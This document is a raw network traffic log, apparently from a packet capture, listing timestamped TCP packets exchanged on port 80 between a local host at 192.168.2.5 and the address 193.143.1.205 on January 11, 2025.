Jan 11, 2025 08:44:56.175211906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.175224066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.175235987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.175246954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.175262928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.175282955 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.175291061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.176069975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.176081896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.176103115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.176116943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.176120043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.176132917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.176137924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.176146030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.176162958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.176171064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.176194906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.176199913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.176909924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.176933050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.176945925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.176955938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.176985979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.177043915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.177057028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.177067995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.177094936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.177099943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.177109003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.177129984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.177836895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.177881002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.188601971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.188626051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.188637018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.188672066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.201117039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.201143026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.201153994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.201168060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.201190948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.201200962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.216948032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.216965914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.217062950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.233409882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.233424902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.233436108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.233494043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.233520985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.262285948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.262307882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.262420893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.291121960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291181087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291197062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291217089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291246891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.291275978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.291281939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291295052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291306973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291321993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.291445017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291455984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291466951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291488886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.291512012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.291683912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291739941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291753054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291789055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.291815042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291827917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291845083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291860104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.291862965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.291886091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.292206049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292248964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.292272091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292278051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292319059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.292409897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292432070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292443991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292475939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.292495012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292535067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.292685032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292730093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292741060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292766094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.292830944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292843103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292855024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292870045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.292870998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292927980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.292954922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.292994976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.293287039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.293307066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.293319941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.293344975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.293488979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.293502092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.293512106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.293530941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.293535948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.293548107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.293560982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.293560982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.293576002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.293596029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.293627024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.293661118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.293673992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.293708086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.294215918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.294272900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.294285059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.294323921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.294430017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.294442892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.294454098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.294462919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.294470072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.294491053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.294569969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.294580936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.294593096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.294605970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.294615030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.294625044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.294644117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.294665098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.295217037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.295228958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.295241117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.295262098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.295293093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.295306921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.295324087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.295340061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.295341015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.295358896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.295372009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.295408964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.295444012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.295458078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.295469046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.295485973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.295490980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.295536041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.296050072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.296103954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.296117067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.296145916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.296184063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.296195984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.296227932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.299993992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.305387020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.305397987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.305409908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.305457115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.305458069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.312578917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.321886063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.321898937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.321908951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.321921110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.321939945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.321954012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.321974993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.321999073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.350678921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.350701094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.350711107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.350760937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.379846096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.379858971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.379870892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.379923105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.379951954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.379985094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.379997969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.380039930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.380172014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.380183935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.380194902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.380207062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.380215883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.380220890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.380243063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.380345106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.380357027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.380367994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.380377054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.380398989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.380417109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.380533934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.380546093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.380565882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.398946047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.408329010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408380032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408391953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408394098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.408422947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.408569098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408632994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408643961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408675909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.408716917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408729076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408740044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408755064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408761978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.408791065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.408864021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408875942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408886909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408907890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.408936977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.408953905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408966064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.408977985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409002066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409030914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409041882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409073114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409077883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409090042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409104109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409111023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409137011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409148932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409210920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409221888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409245014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409312010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409323931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409334898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409348011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409353018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409382105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409411907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409424067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409451008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409548044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409581900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409581900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409595966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409629107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409714937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409727097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409739971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409754038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409754992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409812927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409822941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409851074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409862041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409873009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.409888029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.409903049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.410058975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410106897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410120010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410151958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.410264969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410276890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410295010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410298109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.410309076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410326958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.410365105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410398960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.410409927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410420895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410473108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.410518885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410531044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410542011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410556078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410561085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.410598993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.410660028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410670996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410689116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410701036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.410702944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410716057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410727024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410738945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410748005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.410774946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.410891056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410931110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.410954952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410965919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410976887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410990000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.410995960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.411004066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.411022902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.413856030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.413872004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.413892984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.413903952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.413918972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.413933039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.413934946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.413948059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.413959980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.413980961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.413990021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414002895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414021969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414042950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414055109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414062023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.414069891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414072990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.414088964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414103985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414107084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.414122105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414139032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.414486885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414499044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414510012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414527893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.414556980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 08:44:56.414560080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414580107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 08:44:56.414593935 CET	80	49704	193.143.1.205	192.168.2.5
